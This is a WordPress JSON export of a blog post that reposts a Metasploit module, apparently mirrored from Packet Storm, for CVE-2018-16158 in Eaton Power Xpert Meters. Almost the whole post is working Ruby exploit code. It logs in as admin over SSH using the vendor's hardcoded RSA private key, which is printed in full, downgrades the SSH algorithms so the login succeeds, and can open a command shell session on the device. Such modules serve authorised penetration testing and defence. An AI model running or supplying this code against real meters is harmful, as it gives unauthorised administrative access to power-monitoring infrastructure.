{"id":59365,"date":"2024-09-01T21:29:47","date_gmt":"2024-09-01T18:29:47","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181224\/eaton_xpert_backdoor.rb.txt"},"modified":"2024-09-01T21:29:47","modified_gmt":"2024-09-01T18:29:47","slug":"eaton-xpert-meter-ssh-private-key-exposure-scanner","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/eaton-xpert-meter-ssh-private-key-exposure-scanner\/","title":{"rendered":"Eaton Xpert Meter SSH Private Key Exposure Scanner"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>###<\/p>\n<p># XXX: This shouldn&#8217;t be necessary but is now<br \/>require &#8216;net\/ssh&#8217;<br \/>require &#8216;net\/ssh\/command_stream&#8217;<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::SSH<br \/>include Msf::Auxiliary::Scanner<br \/>include Msf::Auxiliary::CommandShell<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Sessions::CreateSessionOptions<br \/>include Msf::Auxiliary::ReportSummary<\/p>\n<p>def initialize(info = {})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Eaton Xpert Meter SSH Private Key Exposure Scanner&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>Eaton Power Xpert Meters running firmware below version 12.x.x.x or<br \/>below version 13.3.x.x ship with a public\/private key pair that<br \/>facilitate remote administrative access to the devices.<br \/>Tested on: Firmware 12.1.9.1 and 13.3.2.10.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;BrianWGray&#8217;<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2018-16158&#8217;],<br \/>[&#8216;EDB&#8217;, &#8216;45283&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/www.eaton.com\/content\/dam\/eaton\/company\/news-insights\/cybersecurity\/security-bulletins\/PXM-Advisory.pdf&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/www.ctrlu.net\/vuln\/0006.html&#8217;]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2018-07-18&#8217;,<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE<br \/>))<\/p>\n<p>register_options([<br \/>Opt::RPORT(22)<br \/>])<\/p>\n<p>register_advanced_options([<br \/>OptBool.new(&#8216;SSH_DEBUG&#8217;, [false, &#8216;SSH debugging&#8217;, false]),<br \/>OptInt.new(&#8216;SSH_TIMEOUT&#8217;, [false, &#8216;SSH timeout&#8217;, 10])<br \/>])<br \/>end<\/p>\n<p>def run_host(ip)<\/p>\n<p># Specified Kex\/Encryption downgrade requirements must be set to connect to the Power Meters.<br \/>ssh_opts = ssh_client_defaults.merge({<br \/>auth_methods: [&#8216;publickey&#8217;],<br \/>port: rport,<br \/>key_data: [ key_data ],<br \/>hmac: [&#8216;hmac-sha1&#8217;],<br \/>encryption: [&#8216;aes128-cbc&#8217;],<br \/>kex: [&#8216;diffie-hellman-group1-sha1&#8217;],<br \/>host_key: [&#8216;ssh-rsa&#8217;]})<\/p>\n<p>ssh_opts.merge!(verbose: :debug) if datastore[&#8216;SSH_DEBUG&#8217;]\n<p>begin<br \/>ssh = Timeout.timeout(datastore[&#8216;SSH_TIMEOUT&#8217;]) do<br \/>Net::SSH.start(ip, &#8216;admin&#8217;, ssh_opts)<br \/>end<br \/>rescue Net::SSH::Exception =&gt; e<br \/>vprint_error(&#8220;#{ip}:#{rport} &#8211; #{e.class}: #{e.message}&#8221;)<br \/>return<br \/>end<\/p>\n<p>return unless ssh<\/p>\n<p>print_good(&#8220;#{ip}:#{rport} &#8211; Logged in as admin&#8221;)<\/p>\n<p>version = ssh.transport.server_version.version<\/p>\n<p>report_vuln(<br \/>host: ip,<br \/>name: self.name,<br \/>refs: self.references,<br \/>info: version<br \/>)<\/p>\n<p>shell = Net::SSH::CommandStream.new(ssh)<\/p>\n<p># XXX: Wait for CommandStream to log a channel request failure<br \/>sleep 0.1<\/p>\n<p>if (e = shell.error)<br \/>print_error(&#8220;#{ip}:#{rport} &#8211; #{e.class}: #{e.message}&#8221;)<br \/>return<br \/>end<\/p>\n<p>info = &#8220;#{self.name} (#{version})&#8221;<\/p>\n<p>ds_merge = {<br \/>&#8216;USERNAME&#8217; =&gt; &#8216;admin&#8217;<br \/>}<\/p>\n<p>if datastore[&#8216;CreateSession&#8217;]start_session(self, info, ds_merge, false, shell.lsock)<br \/>end<\/p>\n<p># XXX: Ruby segfaults if we don&#8217;t remove the SSH socket<br \/>remove_socket(ssh.transport.socket)<br \/>end<\/p>\n<p>def rport<br \/>datastore[&#8216;RPORT&#8217;]end<\/p>\n<p>def key_data<br \/>&lt;&lt;EOF<br \/>&#8212;&#8211;BEGIN RSA PRIVATE KEY&#8212;&#8211;<br \/>MIICWwIBAAKBgQCfwugh3Y3mLbxw0q4RZZ5rfK3Qj8t1P81E6sXjhZl7C3FyH4Mj<br \/>C15CEzWovoQpRKrPdDaB5fVyuk6w2fKHrvHLmU2jTzq79B7A4JJEBQatAJeoVDgl<br \/>TyfL+q6BYAtAeNsho8eP\/fMwrT2vhylNJ4BTsJbmdDJMoaaHu\/0IB9Z9ywIBIwKB<br \/>gQCEX6plM+qaJeVHif3xKFAP6vZq+s0mopQjKO0bmpUczveZEsu983n8O81f7lA\/<br \/>c2j1CITvSYI6fRyhKZ0RVnCRcaQ8h\/grzZNdyyD3FcqDNKO7Xf+bvYySrQXhLeQP<br \/>I3jXGQPfBZUicGPcJclA98SBdBI1SReAUls1ZdzDwA3T8wJBAM6j1N3tYhdqal2W<br \/>gA1\/WSQrFxTt28mFeUC8enGvKLRm1Nnxk\/np9qy2L58BvZzCGyHAsZyVZ7Sqtfb3<br \/>YzqKMzUCQQDF7GrnrxNXWsIAli\/UZscqIovN2ABRa2y8\/JYPQAV\/KRQ44vet2aaB<br \/>trQBK9czk0QLlBfXrKsofBW81+Swiwz\/AkEAh8q\/FX68zY8Ssod4uGmg+oK3ZYZd<br \/>O0kVKop8WVXY65QIN3LdlZm\/W42qQ+szdaQgdUQc8d6F+mGNhQj4EIaz7wJAYCJf<br \/>z54t9zq2AEjyqP64gi4JY\/szWr8mL+hmJKoRTGRo6G49yXhYMGAOSbY1U5CsBZ+z<br \/>zyf7XM6ONycIrYVeFQJABB8eqx\/R\/6Zwi8mVKMAF8lZXZB2dB+UOU12OGgvAHCKh<br \/>7izYQtGEgPDbklbvEZ31F7H2o337V6FkXQMFyQQdHA==<br \/>&#8212;&#8211;END RSA PRIVATE KEY&#8212;&#8211;<br \/>EOF<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework### # XXX: This shouldn&#8217;t be necessary but is nowrequire &#8216;net\/ssh&#8217;require &#8216;net\/ssh\/command_stream&#8217; class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::SSHinclude Msf::Auxiliary::Scannerinclude Msf::Auxiliary::CommandShellinclude Msf::Auxiliary::Reportinclude Msf::Sessions::CreateSessionOptionsinclude Msf::Auxiliary::ReportSummary def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Eaton Xpert Meter SSH Private Key Exposure Scanner&#8217;,&#8216;Description&#8217; =&gt; %q{Eaton Power Xpert Meters running firmware below version 12.x.x.x orbelow version &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59365","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59365","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59365"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59365\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59365"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59365"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59365"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}